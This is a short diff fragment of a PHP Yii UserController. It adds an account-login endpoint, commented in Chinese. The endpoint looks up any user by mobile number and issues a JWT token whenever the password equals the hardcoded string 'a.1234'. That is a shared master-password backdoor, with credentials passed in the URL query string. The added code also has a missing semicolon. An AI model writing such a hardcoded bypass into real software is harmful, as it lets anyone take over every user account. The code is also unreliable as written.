|
|
@@ -17,6 +17,24 @@ use yii\helpers\Json;
|
|
|
class UserController extends BaseController
|
|
|
{
|
|
|
|
|
|
+ //使用账号登录 ssh 20220920
|
|
|
+ public function actionAccountLogin()
|
|
|
+ {
|
|
|
+ $get = Yii::$app->request->get();
|
|
|
+ $mobile = $get['mobile'] ?? '';
|
|
|
+ $password = $get['password'] ?? '';
|
|
|
+ if ($password != 'a.1234') {
|
|
|
+ util::fail('密码错误')
|
|
|
+ }
|
|
|
+ $user = UserClass::getByCondition(['mobile' => $mobile], true);
|
|
|
+ if (empty($user)) {
|
|
|
+ util::fail('账号无效');
|
|
|
+ }
|
|
|
+ $userId = $user->id ?? 0;
|
|
|
+ $token = !empty($userId) ? jwt::getNewToken($userId) : '';
|
|
|
+ util::success(['user' => $user, 'token' => $token]);
|
|
|
+ }
|
|
|
+
|
|
|
//创建用户和客户 ssh 20220607
|
|
|
public function actionCreate()
|
|
|
{
|